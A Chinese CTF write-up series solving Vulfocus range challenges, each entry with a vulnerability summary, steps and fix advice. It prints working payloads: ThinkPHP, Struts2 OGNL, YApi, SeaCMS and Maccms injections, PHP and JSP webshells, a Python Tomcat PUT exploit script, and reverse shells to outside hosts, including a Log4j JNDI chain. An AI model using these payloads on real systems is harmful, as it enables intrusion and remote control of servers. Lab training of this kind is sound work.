Vulfocus-解题系列
作者:长安@UTRA Sec
声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。
[Vulfocus-001-解题系列]命令执行
漏洞概述
描述: 命令执行(Command Execution)漏洞即黑客可以直接在Web应用中执行系统命令,从而获取敏感信息或者拿下shell权限 命令执行漏洞可能造成的原因是Web服务器对用户输入命令安全检测不足,导致恶意代码被执行
解题思路
1.访问url,内容如下
2.根据提示信息查看网页源代码
3.尝试拼接/index.php?cmd=whoami
4.读取flag
[Vulfocus-006-解题系列]ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)
漏洞概述
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。
影响版本
ThinkPHP 5.*,<5.1.31
ThinkPHP <=5.0.23
解题思路
1.访问url,内容如下,发现是thinkphp框架的
2.使用工具验证发现有命令执行漏洞
但是我没有执行成功,还是不能偷懒,上手吧
3.上payload,读取flag
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
修复方案
参考官方修复方案https://blog.thinkphp.cn/869075
[Vulfocus-008-解题系列]struts2-046 远程代码执行 (CVE-2017-5638)
漏洞概述
描述: Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。
影响版本
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
解题思路
1.访问url,内容如下
2.使用bp抓包
3.更改filename
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"
4.在hex里找到b之前一个符号,使用00截断(b在hex中是62,找到62前面的一个改成00即可),发包获取flag
修复方案
官方表示,如果用户正在使用基于Jakarta的文件上传插件,建议升级至Struts版本3.32或2.5.10.1。
[Vulfocus-010-解题系列]s2-046命令执行
解题思路
1.访问url,内容如下
2.根据提示提示信息发现s2,直接上工具
3.测试之后发现存在s2-046
4.读取flag
[Vulfocus-012-解题系列]struts2-命令执行-cve_2016_3081
漏洞描述
描述: 在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
解题思路
1.访问url,内容如下
2.使用s2漏洞扫描工具
3.经过测试,使用S2-046验证成功
4.读取flag
[Vulfocus-014-解题系列]jenkins 未授权访问-任意命令执行
漏洞概述
jenkins是一个功能强大的应用程序,允许持续集成和持续交付项目,无论用的是什么平台。这是一个免费的源代码,可以处理任何类型的构建或持续集成。集成Jenkins可以用于一些测试和部署技术。Jenkins是一种软件允许持续集成。 未设置帐号密码,或者使用了弱帐号密码
解题思路
1.访问url
2.点击用户
3.使用admin/admin登录
4.访问 http://ip:port/script,输入payload,读取flag
println "ifconfig".execute().text
[Vulfocus-0017-解题系列]yapi代码执行
漏洞概述
描述: API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
影响版本
YApi<=V1.92 All
解题思路
1.访问页面,随便注册一个用户
2.注册后登陆
3.新建一个项目
4.添加一个接口
4.按照图中顺序点击,并填写poc,最后点击保存
poc
const sandbox = this
const objectConstructor = this.constructor
const FunctionConstructor = objectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls /tmp && ps -ef").toString()
5.然后进入预览,点击预览地址
6.访问地址,获取flag
修复建议
1.关闭YAPI注册功能
2.删除恶意账户
3.回滚服务器快照
4.同步删除恶意mock脚本以防止二次攻击
[Vulfocus-020-解题系列]typesetter-文件上传-cve_2020_25790
漏洞概述
描述: Typesetter CMS 内容管理系统是Php源码频道下深受用户喜爱的软件。 Typesetter CMS 存在代码问题漏洞,该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。 账号密码: admin admin
解题思路
1.访问url,内容如下
2.根据提示登录,admin/admin
3.选择已上传的档案
4.新建php文件,内容为一句话木马,然后上传压缩包
<?php @eval($_POST[pass]); ?>
5.解压文件
6.双击文件获取地址
7.使用蚁剑连接
8.获取flag
漏洞原理
该CMS只检测上传的文件是否是危险文件,而不是检测文件的内容,理应来说不仅要检测文件的后缀名,还要检测文件内容是否带有危险参数,如果遇上加密的zip文件,可以禁止上传到该目录下
[Vulfocus-021-解题系列]Tomcat任意写入文件漏洞(CVE-2017-12615)
漏洞概述
描述: Apache Tomcat是美国阿帕奇(Apache)软件基金会下属的Jakarta项目的一款轻量级Web应用服务器,它主要用于开发和调试JSP程序,适用于中小型系统。 Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当上述版本的Tomcat启用HTTP PUT请求方法时,远程攻击者可以构造恶意请求利用该漏洞向服务器上传包含任意代码执行的jsp文件,并被服务器执行该文件,导致攻击者可以执行任意代码。
影响版本
Apache Tomcat 7.0.0 - 7.0.7
解题思路
1.打开题目给出的环境,可以看出Tomcat的版本
2.使用bp抓包
3.改包,修改请求方式为PUT,下面添加jsp的shell,发包
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
状态码为201,说明上传成功
4.读取flag
ps:PUT路径要用“/”结束,写入成功后,会返回201或者200,如果返回404说明没有写“/”
POC
春秋大佬脚本
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
执行脚本后,直接可以在网页中执行命令
漏洞利用原理
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
从上面一段话可知,这个漏洞存在的条件有两个,第一个是Tomcat 运行在 Windows 主机上,第二个是启用了 HTTP PUT 请求方法,关于什么是PUT方法,我查了一下:
PUT 请求是向服务器发送数据的。从客户端向服务器传送的数据取代指定的文档的内容。
经过实际测试,Tomcat 7.x版本内web.xm l配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
修复方式
1、配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat
注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
2、根据官方补丁升级最新版本
[Vulfocus-026-解题系列]seacms-远程命令执行-cnvd_2020_22721
漏洞概述
描述: 海洋CMS一套程序自适应电脑、手机、平板、APP多个终端入口。 SeaCMS v10.1存在命令执行漏洞,在w1aqhp/admin_ip.php下第五行使用set参数,对用户输入没有进行任何处理,直接写入文件。攻击者可利用该漏洞执行恶意代码,获取服务器权限。 后台路径:/manager 后台密码:admin:admin
解题思路
1.访问url,内容如下
2.根据提示后台为/manager,账号密码admin/admin
3.根据网上搜索,这里可以直接上payload,点击提交,
";system("ls /tmp");?>#
4.访问/manager/admin_ip.php,读取flag
[Vulfocus-030-解题系列]maccms 远程命令执行(CVE-2017-17733)
漏洞概述
描述: Maccms是一套跨平台的基于PHP和MySQL快速建站系统。 Maccms 8.x版本中存在安全漏洞。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。
解题思路
1.访问url
2.直接poc梭哈
index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}
3.搜索flag
[Vulfocus-040-解题系列]apache-zeppelin-命令执行-cnvd_2019_33156
漏洞概述
描述: Apache Zeppelin是一款基于Web的NoteBook,支持交互式数据分析。使用Zeppelin,可以使用丰富的预构建语言后端(或解释器)制作精美的数据驱动,交互式和协作文档 Apache Zeppelin 存在未授权的用户访问命令执行接口,导致了任意用户都可以执行恶意命令获取服务器权限
解题思路
1.访问url,内容如下
2.Create New Note:执行Linux反弹,使用sh
3.执行反弹命令
bash -i &>/dev/tcp/xxxxxxx/xxxxx <&1
4.读取flag
修复建议
禁止未授权匿名帐户访问
[Vulfocus-044-解题系列]webmin-远程命令执行-cve_2019_15107
漏洞概述
描述: Webmin是一套基于Web的用于类Unix操作系统中的系统管理工具。 当用户开启Webmin密码重置功能后,攻击者可以通过发送POST请求在目标系统中执行任意命令,且无需身份验证。
解题思路
1.访问url,内容如下
2.使用Goby扫描,发现Webmin RCE (CVE-2019-15107)
3.直接验证,读取flag
[Vulfocus-045-解题系列]webmin-远程命令执行-cve_2019_15107
漏洞概述
描述: Webmin是一套基于Web的用于类Unix操作系统中的系统管理工具。 当用户开启Webmin密码重置功能后,攻击者可以通过发送POST请求在目标系统中执行任意命令,且无需身份验证。
解题思路
1.访问url,内容如下
2.使用Goby扫描,发现Webmin RCE (CVE-2019-15107)
3.直接验证,读取flag
[Vulfocus-052-解题系列]jupyter-notebook (cve_2019_9644)命令执行漏洞概述
描述: Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。 Jupyter Notebook可直接使用命令行执行任意命令。如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞。
解题思路
1.访问url
2.选择 new -> terminal 即可创建一个控制台进行命令执行:
3.读取flag
[Vulfocus-062-解题系列]Log4j2远程命令执行
漏洞概述
描述: Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。 当前环境测试url:http://xxxxx/hello post参数为:payload=xxxxx
影响版本
Apache Log4j 2.x <= 2.15
解题思路
1.根据提示访问url
2.抓包更改请求方法为POST,添加paylaod
payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}
dnslog收到回显,证明存在漏洞
3.反弹shell
准备反弹shell的命令payload
bash -i >& /dev/tcp/x.x.x.x/5555 0>&1
然后进行base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzU1NTUgMD4mMQ==
4.使用工具生成payload
工具地址:https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS45Ny4xMTcuOC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}" -A "39.97.117.8"
ps:上面的base64就是一个反弹shell的代码,换成自己的ip和监听端口,重新生成base64放进即可,还有后面-A的也换成自己的监听ip
5.开启监听,更换payload
nc -lvp 5555
6.shell反弹成功,读取flag
[Vulfocus-071-解题系列]spring代码执行(cve_2017_4971)
漏洞概述
描述: Spring Web Flow建立在Spring MVC之上,并允许实现Web应用程序的“流” 由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞
影响版本
Spring WebFlow 2.4.0 - 2.4.4
解题思路
1.访问url
2.首先,我们点击该登录页面,然后进入登录模块。
3.如下图,会出现很多个默认账号与密码,我们随意挑选一个进行登录操作:
4.然后我们进入这个网址,尽管我并不知道为什么要进入这个网址,但是,应该可以肯定,漏洞的触发点就在这个网址:
5.我们点击这个Book Hotel按钮,然后进行到下一个页面:
6.随意输入一些合法的内容后,我们点击Proceed然后会跳转到Confirm页面:
7.在点击Confirm的时候进行抓包,此处存在命令执行,可反弹shell
使用如下反弹shell的Payload:
_eventId_confirm=&_csrf=57033da7-4538-42ec-9933-e12ac3e97db5&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub
8.此处监听10086端口,然后,将IP换为你的远程攻击机IP
9.放包后即可获取到shell:
修复方案
官方已经发布了新版本,请受影响的2.4.X用户及时更新升级至最新的2.4.5版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。
致辞
感谢Vulfocus&Goby举办的靶场竞赛活动,此次竞赛也是异常激烈,大佬们都各显神通,不甘落后,希望以后多多举办类似的活动,我们UTRA-Sec(乌特拉安全实验室)取得第五名的成绩,有点遗憾,只能说下次继续努力了,下面请允许我打一波广告介绍一下我们的团队:乌特拉安全实验室全体人员已通过CISP-PTE认证,致力于实战攻防、红队评估、渗透测试、代码审计、CTF竞赛、应急响应等多领域安全研究,践行国家使命担当,为国家网络安全保驾护航,欢迎志同道合的伙伴们加入!!!
最新评论